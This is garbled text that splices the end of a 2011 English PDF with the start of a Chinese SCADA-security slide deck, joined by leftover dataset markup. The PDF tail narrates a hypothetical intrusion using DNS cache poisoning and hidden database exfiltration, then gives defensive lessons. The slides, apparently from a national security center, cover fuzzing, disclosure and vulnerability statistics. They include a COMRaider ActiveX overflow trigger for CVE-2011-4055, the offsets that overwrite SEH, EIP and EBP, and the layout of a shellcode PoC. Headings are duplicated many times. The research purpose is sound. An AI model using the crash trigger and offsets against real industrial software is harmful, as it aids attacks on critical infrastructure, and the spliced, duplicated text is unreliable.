Witness Stand: What Should it Take for Us to Trust it?\" See \nhttp://www.schneier.com/blog/archives/2011/04/software_as_evi.html \nJune 22, 2011 \n19 \nCopyright 2011, Electronic Grymoire LLC \nsomeone trying to export massive amount of intellectual property.. \nThis is a \n. \nAnd now it is discovered that the porn files are also found in \nInnocent Ivy’s account. And that Ivy dislikes Lucy, according to the \neMail. Apparently Innocent Ivy isn’t (\nIn summary, we have the following events going on. \n The CEO is trying to deal with the aftermath of the fake press \nrelease. Many think this is just a publicity stunt, because of the \nclear evidence that Adult services were available on their external \nweb site. People are still trying to determine which of the press \nreleases are right and which ones were faked. \n Lucy is ejected from the company immediately, at the CEO’s \ninsistence. She denies everything, and the best thing she can do is \nsay she thinks Ivy was responsible. But Ivy helped identify Lucy. \n A massive virus is propagating through the network. During the \nclean-up, they discover that the source code of the virus is found in \nIvy’s directory. Ivy is dismissed with cause, despite denying \neverything. \n Of course firing Ivy causes problems because they just fired Lucy \nbecause of what Ivy said. But if Ivy is the guilty party, perhaps Lucy \nis innocent. But she has already been fired. Now they have to worry \nabout wrongful termination lawsuits. More importantly, they begin \nto distrust their decisions, and perhaps the evidence of the porn \nand malware infection is flawed. The simple answer is that Ivy and \nLucy are responsible. CEO’s like simple answers, even if they are \ncontradictory. \n The internal staff is in turmoil. The sudden departure of Lucy and \nIvy left the support staff in chaos. They disabled the accounts of \nthese sys-admins, and quickly found someone to assume their \nresponsibility. The database servers Lucy and Ivy were responsible \nfor seem to be operating normally, which is good, because everyone \nis busy trying to stop the virus while trying to find out what is \nhappening. Friends of Ivy and Lucy don’t quite know what to \nbelieve, and they think these great co-workers were fired for no \nreason. Perhaps they may be terminated next, because no one is \ntelling them what Lucy and Ivy are guilty of. And they are certainly \nnot going to argue with the decision makers, because the decisions \nare coming from “up high.” \nJune 22, 2011 \n20 \nCopyright 2011, Electronic Grymoire LLC \n Essentially there are so many crises occurring that small, slightly \nabnormal events aren’t noticed. \nMeanwhile, the hacker has done two small things. He has poisoned \nthe DNS cache so that the remote backup server now has a new IP \naddress. The second is that the hacker makes sure a full backup of the \ncomplete database occurs. This will allow the entire contents of the \ndatabase to be exported. These are very small changes in the day-to-\nday operation. Perhaps Lucy and/or Ivy might have detected this. \nOthers might, if they weren’t so busy during the chaos. \nWhen this is done, the hacker performs a switch, and the two \nchanges he made to the system vanish, and the system is returned to \nnormal. No trace of the modifications can be found, and the log files \nshow nothing unusual. Examining the log files show nothing outside \nof the normal actions. If the company does egress detection, the noise \ngenerated by the malware hide the activity of the database extraction. \nDays later, when the crisis is averted, and the systems patched, no \none realizes the theft of information happened. \nThe hacker still has ways into the system, because he always keeps \nanother Ace up his sleeve. \nJune 22, 2011 \n21 \nCopyright 2011, Electronic Grymoire LLC \nThis scenario demonstrates that the skills of magicians can be used in a \ndeceptive way to minimize the risk of detection. In addition, it also shows \n Those with administration rights need stronger protection \nfrom attacks, and a stronger audit trail. They are valuable \nassets, and extremely vulnerable. \n Don’t have single points of failure in the defensive teams. \nUse teams, and make sure there are at least two familiar \nwith every active defense response. \n If reacting to active attacks, use focused teams. Don’t \napply all of your resources, and don’t leave other \nresources undefended. \n Administrators need a more tolerant view if accused of \nwrong-doing. The people in Human Resources are not \nqualified to determine guilt or innocence. Make sure they \nare guilty before disciplinary action. \n Press releases should be digitally signed. \n."},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":58,"cells":{"text":{"kind":"string","value":"SCADA安全問題\n安全問題\n安全問題\n安全問題\n你不能不知的真相\n你不能不知的真相\n你不能不知的真相\n你不能不知的真相\n國家資通安全會報 技術服務中心\n洪光鈞 劉作仁 谷威涵 陳培德\n101年6月29日\n大綱\n大綱\n大綱\n大綱\nSCADA簡介\nSCADA面臨的安全問題\nSCADA軟體安全檢測\n漏洞揭露與通報經驗\n安全防護與挑戰\n1\nSCADA簡介\n簡介\n簡介\n簡介\n2\nSCADA簡介\n簡介\n簡介\n簡介\nSCADA-監視控制與資料擷取系統\n(Supervisory Control and Data \nAcquisition)\n−\n屬工業控制系統(Industrial Control System\n，簡稱ICS)的一部分\n−\n具有系統監控和資料擷取功能的軟體，都\n可以稱之為 SCADA \n不同領域應用所需的功能不盡相同，\n但都具有以下的基本單元\n−\n人機界面 (Human Machine Interface, HMI)\n−\n監控系統與資料擷取\n−\n遠端遙控單元 (Remote Terminal Unit, RTU)\n−\n可程式邏輯控制器 (Programmable Logic \nController, PLC)\n−\n通訊網路 (Communication infrastructure)\n3\nSCADA運作方式\n運作方式\n運作方式\n運作方式\nSCADA系統(軟體)可透過電\n腦 (或 PLC) 及使用者介面對\n相關硬體設備進行程序控制\n和資料擷取\n−\n在電廠中，要蒐集各個區域\n電廠的電壓、溫度、濕度及\n變電所的狀態等資訊\n−\n透過主控器監視並記錄這些\n參數\n−\n對蒐集的資訊加以分析判\n讀，以進行電壓調節\n−\n或在意外狀況發生時能夠加\n以處理\n資料來源:http://en.wikipedia.org/wiki/SCADA\n4\n工業控制與管理系統生產模型\n工業控制與管理系統生產模型\n工業控制與管理系統生產模型\n工業控制與管理系統生產模型\nLevel 3\nLevel 3\nLevel 3\nLevel 1\nLevel 1\nLevel 1\nLevel 0\nLevel 0\nLevel 0\nLevel 4\nLevel 4\nLevel 4\nManufacturing \nOperations \nManagement\nManufacturing \nOperations \nManagement\nPlant Control\nPlant Control\nPhysical Equipment\nPhysical Equipment\nBussiness Planning\nBussiness Planning\nLevel 2\nLevel 2\nLevel 2\nSupervisory Control\nSupervisory Control\nMES, LIMS, WMS,\nCMM Systems\nMES, LIMS, WMS,\nCMM Systems\nPLC(Program Logic \nControl), DCS(Distributed\nContorl System)\nPLC(Program Logic \nControl), DCS(Distributed\nContorl System)\nI/O, Devices, Sensors\nI/O, Devices, Sensors\nERP, APO, Logistics \nSystems\nERP, APO, Logistics \nSystems\nHMI, SCADA, Batch \nSystems\nHMI, SCADA, Batch \nSystems\n5\nSCADA運用範圍\n運用範圍\n運用範圍\n運用範圍\n廣泛運用於關鍵基礎設施，如電力系統、水利\n系統、石油、天然氣、交通、化工及汽車業等\n6\nSCADA面臨的安全問題\n面臨的安全問題\n面臨的安全問題\n面臨的安全問題\n7\n2007那年一切都是從她開始\n那年一切都是從她開始\n那年一切都是從她開始\n那年一切都是從她開始…\n2004~2005 大家談論SCADA安全性，多為紙上\n談兵\n2006 – “SCADA Security & Terrorism: We’re Not \nCrying Wolf” presentation to the Black Hat Federal \n2006 Conference by ISS X-Force\n直到她的出現…\n•2007 – “Hackers Take Down the Most Wired \nCountry in Europe” for a period of two \nweeks. – Wired Magazine\n•2007 – “Solar Sunrise” – Three teenagers \npenetrate US Air Force logistic systems at \nvarious Middle East support bases\n•2007 – 3Com’s security division, Tipping \nPoint, demonstrates how a SCADA system \nflaw can be exploited to cause a system crash\n•2007 – “Hackers Take Down the Most Wired \nCountry in Europe” for a period of two \nweeks. – Wired Magazine\n•2007 – “Solar Sunrise” – Three teenagers \npenetrate US Air Force logistic systems at \nvarious Middle East support bases\n•2007 – 3Com’s security division, Tipping \nPoint, demonstrates how a SCADA system \nflaw can be exploited to cause a system crash\n•2008 – “Hackers literally turn out the lights in multiple cities after breaking into electrical \nutilities and demanding extortion payments.” – Associated Press\n•2008 – “SCADA vulnerability discovered…control software package used by as many as \none-third of the world’s industrial plants.” – SC Magazine\n•2008 – “SCADA Buffer overflow flaw revealed” – “Security Hole Exposes Utilities to \nInternet Attack” – Sassociated Press\n•2007開始至\n開始至\n開始至\n開始至2011 – Blackhat 每年都有關於\n每年都有關於\n每年都有關於\n每年都有關於SCADA的議題\n的議題\n的議題\n的議題，\n，\n，\n，而且一年比一年精采\n而且一年比一年精采\n而且一年比一年精采\n而且一年比一年精采!!!\n•2008 – “Hackers literally turn out the lights in multiple cities after breaking into electrical \nutilities and demanding extortion payments.” – Associated Press\n•2008 – “SCADA vulnerability discovered…control software package used by as many as \none-third of the world’s industrial plants.” – SC Magazine\n•2008 – “SCADA Buffer overflow flaw revealed” – “Security Hole Exposes Utilities to \nInternet Attack” – Sassociated Press\n•2007開始至\n開始至\n開始至\n開始至2011 – Blackhat 每年都有關於\n每年都有關於\n每年都有關於\n每年都有關於SCADA的議題\n的議題\n的議題\n的議題，\n，\n，\n，而且一年比一年精采\n而且一年比一年精采\n而且一年比一年精采\n而且一年比一年精采!!!\n2007那年一切都是從\n那年一切都是從\n那年一切都是從\n那年一切都是從DIE HARD \n4.0開始\n開始\n開始\n開始…\n8\nSCADA演進\n演進\n演進\n演進-舊有架構\n舊有架構\n舊有架構\n舊有架構\n專有設備與作業系統\n採用自行定義的協定\n臨機操作\n獨立的網路或區域\n9\nSCADA演進\n演進\n演進\n演進-現今架構\n現今架構\n現今架構\n現今架構\n非專用設備或作業系\n統：Microsoft、Linux \nOS、Server、PC\n標準協定：IP、\nEthernet、Wireless\n開放式協定\n遠端安裝與設定\n開放式的架構與網際\n網路\nRTU\nRTU\nRTU\nWireless\nRTU\nSatellite\nModem\nModem\nInternet\nSCADA Server\nWeb Server\nDatabase\nModem\n10\nSCADA面臨的安全問題\n面臨的安全問題\n面臨的安全問題\n面臨的安全問題\n普及性與其關鍵地位\n−\n不斷擴大的使用範圍\n−\n採用SCADA控制系統安全\n人員與成本問題\n−\n技術人員流動與老化\n−\n舊有設備的維護不易\n−\n元件外包第三方廠商\n公開化的通信技術\n−\n大型系統間網路通訊需求增加\n−\n逐漸採用IP協定為基礎通訊\n−\n無線通信技術的加入\n封閉環境至開放式環境\n−\n使用者遠端存取的需求增加\n−\nWeb化\n−\n行動裝置 (智慧型手機)\n新技術所帶來的問題\n−\n越來越多的檢測與警示機制\n與技術\n−\n越來越進步的網路攻擊能力\n其他\n−\n恐怖活動的升溫\n11\nStuxnet\n2010年 – Stuxnet 伊朗核電廠事件\n− 利用USB裝置與網路感染其他電腦\n− 只針對西門子的SCADA系統進行攻擊\n12\n•美國國土安全部於\n美國國土安全部於\n美國國土安全部於\n美國國土安全部於2010成立了特殊網路安\n成立了特殊網路安\n成立了特殊網路安\n成立了特殊網路安\n全小組\n全小組\n全小組\n全小組，\n，\n，\n，這些小組隸屬於\n這些小組隸屬於\n這些小組隸屬於\n這些小組隸屬於 ICS-CERT\n•主要負責檢測防禦重要民生基礎建設的網\n主要負責檢測防禦重要民生基礎建設的網\n主要負責檢測防禦重要民生基礎建設的網\n主要負責檢測防禦重要民生基礎建設的網\n路及調查相關安全事件\n路及調查相關安全事件\n路及調查相關安全事件\n路及調查相關安全事件\n•國土安全部預計成立\n國土安全部預計成立\n國土安全部預計成立\n國土安全部預計成立10個特殊網路安全小\n個特殊網路安全小\n個特殊網路安全小\n個特殊網路安全小\n組\n組\n組\n組，\n，\n，\n，於\n於\n於\n於2011年開始檢測所有重要民生基礎\n年開始檢測所有重要民生基礎\n年開始檢測所有重要民生基礎\n年開始檢測所有重要民生基礎\n建設控制系統\n建設控制系統\n建設控制系統\n建設控制系統\n•該計劃的年度預算為\n該計劃的年度預算為\n該計劃的年度預算為\n該計劃的年度預算為1000萬到\n萬到\n萬到\n萬到1500萬\n萬\n萬\n萬美元\n美元\n美元\n美元\n13\nDuqu Worm\n2011年 – Duqu Worm\n− Duqu的媒介為一微軟的Word檔案，攻擊一個尚未被\n揭露的視窗核心漏洞，並透過組織內部的網路進行\n散布\n− 與Stuxnet有許多雷同之處\n− Symantec資深分析師Paul Wood認為，Duqu目標是\n竊取相關設計文件，以便進一步攻擊工業控制系統\nFrance, \nNetherlands,Switzerland, \nUkraine\nIndia\nIran\nSudan\nVietnam\nFrance, \nNetherlands,Switzerland,Ukraine\nIndia\nIran\nSudan\nVietnam\n內網非絕對安全\n內網非絕對安全\n內網非絕對安全\n內網非絕對安全\n專用系統也會被攻擊\n專用系統也會被攻擊\n專用系統也會被攻擊\n專用系統也會被攻擊\n14\n我愧對國\n家民族!\n我愧對國\n家民族!\nSCADA軟體安全漏洞\n軟體安全漏洞\n軟體安全漏洞\n軟體安全漏洞(1/3)\nMarch 2011, 資安研究員公\n開了34個可被利用的漏洞\n利用這些漏洞可取得系統\n可取得系統\n可取得系統\n可取得系統\n控制權\n控制權\n控制權\n控制權或造成系統當機\n造成系統當機\n造成系統當機\n造成系統當機\n被公開的廠商與產品\n−\nSiemens Tecnomatix\nFactoryLink\n−\nIconics, Genesis32 and \nGenesis64\n−\nDATAC RealWin\n−\n7-Technologies IGSS\n−\n…\n15\nSCADA軟體安全漏洞\n軟體安全漏洞\n軟體安全漏洞\n軟體安全漏洞(2/3)\n•2012/1\n•包含GE、Rockwell、Schneider、Koyo及\nSEL共5家\n家\n家\n家廠商6個\n個\n個\n個頂級工業控制系統(設備)\n•發現至少8個\n個\n個\n個以上的安全漏洞 (已公開)\n16\nSCADA軟體安全漏洞\n軟體安全漏洞\n軟體安全漏洞\n軟體安全漏洞(3/3)\nICS-CERT (Industrial Control Systems Computer \nEmergency Response Team )\n− ICS-CERT在2010/5~2012/3共發布147則與SCADA相\n關的安全公告、警告及相關資訊\n− http://www.us-cert.gov/control_systems/ics-cert/\n國際資安廠商Digital Bond的安全漏洞資訊\n− 存在安全漏洞的產品(廠商)共46個\n− 發現至少129個可被利用的安全漏洞\n− http://www.digitalbond.com/\n17\nSCADA實際使用案例\n實際使用案例\n實際使用案例\n實際使用案例(1/2)\n資料來源：振寧系統顧問有限公司官網\nhttp://chajack.myweb.hinet.net/genesis32.htm\n18\nSCADA實際使用案例\n實際使用案例\n實際使用案例\n實際使用案例(2/2)\n資料來源：亞控科技官網\nhttp://www.kingview.com/fangan\n/detail.aspx?contentid=483\n&Page1=3\n19\nSCADA安全問題真的比我們想\n安全問題真的比我們想\n安全問題真的比我們想\n安全問題真的比我們想\n像的還多\n像的還多\n像的還多\n像的還多\n20\n我們的\nSCADA都沒\n連網際網路\n我們的\nSCADA都沒\n連網際網路\n可是…你的\nSCADA跟OA\n網路是通的…\n可是…你的\nSCADA跟OA\n網路是通的…\n我們的\nSCADA不能\nPatch跟升級\n我們的\nSCADA不能\nPatch跟升級\n你們還在用NT4.0? \nSCADA軟體也都\n是有漏洞的版本!\n你們還在用NT4.0? \nSCADA軟體也都\n是有漏洞的版本!\n你可以先用模\n擬的實驗環境\n你可以先用模\n擬的實驗環境\n……\n……\n……\n……\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\n系統掛掉你\n要負責嗎?\nSCADA軟體安全\n軟體安全\n軟體安全\n軟體安全檢測\n檢測\n檢測\n檢測\n21\nSCADA軟體安全檢測\n軟體安全檢測\n軟體安全檢測\n軟體安全檢測\n弱點掃描 (VA)\n− Nessus\n人工分析\n− 人工測試\n− 滲透測試 (PT)\n模糊測試 (Fuzzing)\n− 近端測試 (Local)\n− 遠端測試 (Remote)\n22\n模糊測試技術簡介\n模糊測試技術簡介\n模糊測試技術簡介\n模糊測試技術簡介\n模糊測試(Fuzzing)技術\n− 又叫Fuzz testing\n− 是一種自動化的軟體測試技術\n− 發掘漏洞的投入成本相對較其他安\n全檢測技術有較好的報酬\n− 近年成為資訊安全領域中發掘漏洞\n近年成為資訊安全領域中發掘漏洞\n近年成為資訊安全領域中發掘漏洞\n近年成為資訊安全領域中發掘漏洞\n的重要技術\n的重要技術\n的重要技術\n的重要技術\n23\n模糊測試的基本原則與步驟\n模糊測試的基本原則與步驟\n模糊測試的基本原則與步驟\n模糊測試的基本原則與步驟\n自動產生與發送大量隨機或經過\n刻意建構的輸入值(半有效的測試\n資枓)\n將測試資料傳送或輸入至目標系\n統或應用程式\n觀察受測目標是否觸發錯誤條件\n而發生異常或失效\n若發生異常，這些錯誤條件可以\n提供測試人員發現安全漏洞的資\n訊\n24\n產生半有效資料集\n產生半有效資料集\n傳送至受測目標\n傳送至受測目標\n儲存出現異常\n的資料\n儲存出現異常\n的資料\n目標是否\n發生異常\n目標是否\n發生異常\nY\nN\n模糊器\n模糊器\n模糊器\n模糊器(Fuzzer)類型\n類型\n類型\n類型\n模糊器(Fuzzer)類型-模糊測試時所使用的工具\n− Mutation-Based fuzzer (Dumb)\n− Generation-Based fuzzer (Smart)\nDUMB\nand\nDUMBE\nRRRRR\nAppend string\n愛因斯坦說\n愛因斯坦說\n愛因斯坦說\n愛因斯坦說：\n：\n：\n：\n我要先瞭解一\n我要先瞭解一\n我要先瞭解一\n我要先瞭解一\n下協定或格式\n下協定或格式\n下協定或格式\n下協定或格式\nFuzzing!!!\n25\n在開始\n在開始\n在開始\n在開始SCADA軟體安全檢測之\n軟體安全檢測之\n軟體安全檢測之\n軟體安全檢測之\n前\n前\n前\n前(1/2)\n從常出事的廠商或產品開始\n−\nICS-CERT, http://www.us-cert.gov/control_systems/ics-cert/\n−\nDigital Bond, http://www.digitalbond.com/scadapedia/vulnerability-\nnotes/\n−\nSecunia, http://secunia.com/advisories/\n−\nCVE Details, http://www.cvedetails.com/vendor.php\n從你善長的開始\n−\nWeb Server、Web Service\n−\nFTP、SMTP、POP3\n−\nBrowser\n−\nFile Format\n從簡單的開始\n−\n第三方元件\n−\nActiveX\n26\n在開始\n在開始\n在開始\n在開始SCADA軟體安全檢測之\n軟體安全檢測之\n軟體安全檢測之\n軟體安全檢測之\n前\n前\n前\n前(2/2)\n瞭解並知道要測的是什麼\n− Local or Remote\n− 符合受測目標的協定或格式\n學習專家的經驗\n− http://www.exploit-db.com\n− http://aluigi.altervista.org\n善用搜尋引擎\n− http://www.google.com\n27\nSCADA軟體安全檢測流程\n軟體安全檢測流程\n軟體安全檢測流程\n軟體安全檢測流程\n28\n取得SCADA軟體\n取得SCADA軟體\n安裝並\n分析資料格式\n安裝並\n分析資料格式\n選擇適合的模糊器\n選擇適合的模糊器\n執行模糊測試\n執行模糊測試\n軟體是否\n發生異常\n軟體是否\n發生異常\n分析異常資料\n分析異常資料\n撰寫漏洞通報資料\n撰寫漏洞通報資料\n通知CERT機構\n通知CERT機構\n廠商發布修正程式\n廠商發布修正程式\n測試報告\n測試報告\n官方網站公布安全\n公告\n官方網站公布安全\n公告\n取得CVE漏洞編號\n取得CVE漏洞編號\nN\nY\n取得\n取得\n取得\n取得SCADA軟體\n軟體\n軟體\n軟體\n29\nSCADA download \nfiletype:iso\nSCADA download \nfiletype:iso\nSCADA 廠商或\n產品名稱\nSCADA 廠商或\n產品名稱\n分析資料格式\n分析資料格式\n分析資料格式\n分析資料格式\nFile format\nNetwork\n−\nWireshark\n−\nGoogle\nModbus\nDNP\n(Distributed Network Protocol)\nEtherNET/IP\nPROFIBUS\nActiveX\n−\nOleView\n30\n選擇適合的模糊器\n選擇適合的模糊器\n選擇適合的模糊器\n選擇適合的模糊器\nLocal\n− 電子檔案類型\n− 瀏覽器/COM/ActiveX\nRemote\n− Web/Service\n− FTP、SMTP、DNS\n31\nFuzzer\nBrowser\n•Comraider (ActiveX)\n•cross_fuzz\nWeb Server\n•WebFuzz\n•SNFuzzer\nNetwork Services\n•Sulley (Fuzzing Framework)\n•Peach Fuzzzer\n•SNFuzzer\nFile Format\n•FileFuzz\n執行\n執行\n執行\n執行SCADA模糊測試\n模糊測試\n模糊測試\n模糊測試\n32\n監控異常\n監控異常\n受測目標\n受測目標\n受測目標\n受測目標\n受測目標\n受測目標\n受測目標\n受測目標\n確認輸入\n確認輸入\n傳送測試資料\n傳送測試資料\n記錄異常\n記錄異常\n分析異常\n分析異常\n產生測試資料\n產生測試資料\n分析異常資料\n分析異常資料\n分析異常資料\n分析異常資料\nDebugger\n− Ollydbg\n− Windbg\n− Immunity Debugger\nDisassembler\n− IDA Pro\nOthers\n− Metasploit\n33\n概念性驗證程式\n概念性驗證程式\n概念性驗證程式\n概念性驗證程式\n(Proof of Concept, POC)\n一般包含3個主要部分\n− 填充字串長度\n− 返回位置\n− Shellcode\n34\n安全漏洞通報\n安全漏洞通報\n安全漏洞通報\n安全漏洞通報\n撰寫漏洞通報資料\n測試報告\n通知CERT機構\n廠商發布修正程式\n官方網站公布安全公告\n取得CVE漏洞編號\n35\n•取得\n取得\n取得\n取得SCADA軟體\n軟體\n軟體\n軟體\n要會使用\n要會使用\n要會使用\n要會使用Google搜索\n搜索\n搜索\n搜索\n•安裝並分析資料格式\n安裝並分析資料格式\n安裝並分析資料格式\n安裝並分析資料格式\n要會裝軟體\n要會裝軟體\n要會裝軟體\n要會裝軟體\n要懂一點封包分析\n要懂一點封包分析\n要懂一點封包分析\n要懂一點封包分析\n要知道一點檔案格式分析\n要知道一點檔案格式分析\n要知道一點檔案格式分析\n要知道一點檔案格式分析\n•選擇適合的模糊器\n選擇適合的模糊器\n選擇適合的模糊器\n選擇適合的模糊器\n要有一點軟體測試概念\n要有一點軟體測試概念\n要有一點軟體測試概念\n要有一點軟體測試概念\n要會模糊測試\n要會模糊測試\n要會模糊測試\n要會模糊測試\n要有點壞人的思維\n要有點壞人的思維\n要有點壞人的思維\n要有點壞人的思維\n•執行模糊測試\n執行模糊測試\n執行模糊測試\n執行模糊測試\n要會用工具\n要會用工具\n要會用工具\n要會用工具\n可能要會寫一點程式\n可能要會寫一點程式\n可能要會寫一點程式\n可能要會寫一點程式\n•分析異常資料\n分析異常資料\n分析異常資料\n分析異常資料\n要會用基本的除錯器或反組譯器\n要會用基本的除錯器或反組譯器\n要會用基本的除錯器或反組譯器\n要會用基本的除錯器或反組譯器\n要懂一點組語\n要懂一點組語\n要懂一點組語\n要懂一點組語\n要有點程式開發人員的同理心\n要有點程式開發人員的同理心\n要有點程式開發人員的同理心\n要有點程式開發人員的同理心\n要會寫\n要會寫\n要會寫\n要會寫Exploit code\n•撰寫漏洞通報資料\n撰寫漏洞通報資料\n撰寫漏洞通報資料\n撰寫漏洞通報資料\n要會匯整重點\n要會匯整重點\n要會匯整重點\n要會匯整重點\n要有點瞭解\n要有點瞭解\n要有點瞭解\n要有點瞭解CWE\n要有點知道風險問題\n要有點知道風險問題\n要有點知道風險問題\n要有點知道風險問題\n•測試報告\n測試報告\n測試報告\n測試報告\n要會寫報告\n要會寫報告\n要會寫報告\n要會寫報告\n國文要不錯\n國文要不錯\n國文要不錯\n國文要不錯\n•通知\n通知\n通知\n通知CERT機構\n機構\n機構\n機構\n要會寫一點點的英文\n要會寫一點點的英文\n要會寫一點點的英文\n要會寫一點點的英文\n要會\n要會\n要會\n要會PGP\n•廠商發布修正程式\n廠商發布修正程式\n廠商發布修正程式\n廠商發布修正程式\n要會一點點溝通的技巧\n要會一點點溝通的技巧\n要會一點點溝通的技巧\n要會一點點溝通的技巧\n•官方網站公布安全公告\n官方網站公布安全公告\n官方網站公布安全公告\n官方網站公布安全公告\n要有耐心\n要有耐心\n要有耐心\n要有耐心\n•取得\n取得\n取得\n取得CVE漏洞編號\n漏洞編號\n漏洞編號\n漏洞編號\n要知道哪裡有出錯\n要知道哪裡有出錯\n要知道哪裡有出錯\n要知道哪裡有出錯\n分析資料格式實例\n分析資料格式實例\n分析資料格式實例\n分析資料格式實例 (CVE-2011-4055)\n37\n執行\n執行\n執行\n執行SCADA模糊測試\n模糊測試\n模糊測試\n模糊測試 (CVE-2011-\n4055)\n<object classid='clsid:67BE6D83-1E12-11D0-B9D3-0020AFE4BC61' \nid='target' /></target>\n<script language='vbscript'>\n'File Generated by COMRaider v0.0.167 - http://labs.idefense.com\n'Wscript.echo typename(target)\n'for debugging/custom prolog\ntargetFile = \n\"C:\\PROGRA~1\\TECNOM~1\\FACTOR~1\\Client\\WEBCLI~1\\Bin\\WEBCLI~\n1.OCX\"\nprototype = \"Invoke_Unknown LocationURL As String\"\nmemberName = \"LocationURL\"\nprogid\n= \"WebClientLib.WebClient\"\nargCount\n= 1\narg1=String(10440, \"A\")\ntarget.LocationURL = arg1\n</script>\n38\n分析異常資料實例\n分析異常資料實例\n分析異常資料實例\n分析異常資料實例 (CVE-2011-4055)\n39\nLength > 323 will overwrite SEH\nLength > 191 will overwrite EIP\nLength > 187 will overwrite EBP\nICST\nPOC (CVE-2011-4055)\n40\n分析資料格式實例\n分析資料格式實例\n分析資料格式實例\n分析資料格式實例 (GE Intelligent \nPlatforms)\n41\n43 00 01 00 00 00 0c 00 00 00 cf 00 00 00 00 05 00 00 00 01 00 00 00 06 00 \n54 00 45 00 53 00 54 00 30 00 31 00 00 00 51 00 43 00 3a 00 5c 00 50 00 \n72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c \n00 47 00 45 00 20 00 46 00 61 00 6e 00 75 00 63 00 5c 00 50 00 72 00 6f \n00 66 00 69 00 63 00 79 00 20 00 50 00 6f 00 72 00 74 00 61 00 6c 00 5c 00 \n77 00 65 00 62 00 61 00 70 00 70 00 73 00 5c 00 69 00 6e 00 66 00 6f 00 \n41 00 67 00 65 00 6e 00 74 00 53 00 72 00 76 00 5c 00 57 00 45 00 42 00 \n2d 00 49 00 4e 00 46 00 5c 00 6c 00 6f 00 67 00 73 00 5c 00 54 00 45 00 53 \n00 54 00 30 00 31 00 00 04 01 03\n43 00 01 00 00 00 0c 00 00 00 36 00 00 00 00 03 00 00 00 01 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 07 00 44 00 45 00 46 00 41 \n00 55 00 4c 00 54\n43 00 01 00 00 00 0c 00 00 00 14 00 00 00 00 03 00 00 00 01\nData\nData\n執行\n執行\n執行\n執行SCADA模糊測試\n模糊測試\n模糊測試\n模糊測試 (GE \nIntelligent Platforms)\n42\n43 00 01 00 00 00 0c 00 00 00 cf 00 00 00 00 05 00 00 00 01 00 00 00 06 00 \n54 00 45 00 53 00 54 00 30 00 31 00 00 00 51 00 43 00 3a 00 5c 00 50 00 \n72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c \n00 47 00 45 00 20 00 46 00 61 00 6e 00 75 00 63 00 5c 00 50 00 72 00 6f \n00 66 00 69 00 63 00 79 00 20 00 50 00 6f 00 72 00 74 00 61 00 6c 00 5c 00 \n77 00 65 00 62 00 61 00 70 00 70 00 73 00 5c 00 69 00 6e 00 66 00 6f 00 \n41 00 67 00 65 00 6e 00 74 00 53 00 72 00 76 00 5c 00 57 00 45 00 42 00 \n2d 00 49 00 4e 00 46 00 5c 00 6c 00 6f 00 67 00 73 00 5c 00 54 00 45 00 53 \n00 54 00 30 00 31 00 00 04 01 03\nFuzzing\nFuzzing\nData \n(Unicode)\n分析異常資料實例\n分析異常資料實例\n分析異常資料實例\n分析異常資料實例 (GE Intelligent \nPlatforms)\n43\nPOC (GE Intelligent Platforms)\n44\n研究成果\n研究成果\n研究成果\n研究成果\n45\n受測廠商\n受測廠商\n受測廠商\n受測廠商\nSIEMENS\nInvensys\nEMERSON\nGE Intelligent Platforms\nSchneider Electric\nCitect (Schneider Electric)\n7-Technologies (Schneider Electric)\nARC Informatique\nBeijer Electronics\nMitsubishi Electric\nAdvantech\nADLINK\n…\n46\n檢測結果概要\n檢測結果概要\n檢測結果概要\n檢測結果概要\n技服中心自2011/5起迄今，檢測31家廠商，產品數\n共67個\n全球首先發現並確認50個可被利用的SCADA相關\n產品安全漏洞(exploitable)\n−\n存在安全漏洞的廠商共23家、產品數共46個\n47\n74%\n69%\nOverview of Results\n多數存在緩衝區溢位問題 (30%)\n其次為拒絕服務問題 (18%)\n−\nSoftware crash\n−\nResource consumption\n48\n漏洞分類\n漏洞分類\n漏洞分類\n漏洞分類、\n、\n、\n、統計及風險說明\n統計及風險說明\n統計及風險說明\n統計及風險說明(1/2)\n漏洞類別\n漏洞類別\n漏洞類別\n漏洞類別\n數量\n數量\n數量\n數量\n攻擊方式\n攻擊方式\n攻擊方式\n攻擊方式\n嚴重性\n嚴重性\n嚴重性\n嚴重性\n風險\n風險\n風險\n風險\nBuffer \nOverflow\n18\n遠端攻擊/\n攻擊瀏覽器\n極高\n可被取得系統控制權\nSQL Injection \n2\n遠端攻擊\n高\n可被取得資料庫內容\nFile \nManipulation\n6\n攻擊瀏覽器\n高\n可被取得系統控制權\n/可損毀檔案或系統\nDLL\nHijacking\n7\n社交工程\n中\n可被取得系統控制權\nCRLF\n1\n遠端攻擊\n中\n可跳脫權限限制\n49\n漏洞分類\n漏洞分類\n漏洞分類\n漏洞分類、\n、\n、\n、統計及風險說明\n統計及風險說明\n統計及風險說明\n統計及風險說明(2/2)\n漏洞類別\n漏洞類別\n漏洞類別\n漏洞類別\n數量\n數量\n數量\n數量\n攻擊方式\n攻擊方式\n攻擊方式\n攻擊方式\n嚴重性\n嚴重性\n嚴重性\n嚴重性\n風險\n風險\n風險\n風險\nDirectory \nTraversal\n2\n遠端攻擊\n中\n可被讀取任意檔案\nDoS\n9\n遠端攻擊\n中~低\n造成系統當機\nXSS\n4\n遠端攻擊\n中~低\n可被竊取網頁身份\nMemory Leak\n1\n遠端攻擊\n中~低\n造成記憶體耗盡\n50\n緩衝區溢位實例\n緩衝區溢位實例\n緩衝區溢位實例\n緩衝區溢位實例 (CVE-2011-4870)\n51\n整數溢位實例\n整數溢位實例\n整數溢位實例\n整數溢位實例 (CVE-2011-4043)\n52\n台北\n台北\n台北\n台北101\n拒絕服務實例\n拒絕服務實例\n拒絕服務實例\n拒絕服務實例 (CVE-2011-4534)\n53\n記憶體管理實例\n記憶體管理實例\n記憶體管理實例\n記憶體管理實例 (GE Intelligent \nPlatforms)\n54\nSQL Injection實例\n實例\n實例\n實例(CVE-2011-4521)\n55\n不安全的功能實例\n不安全的功能實例\n不安全的功能實例\n不安全的功能實例 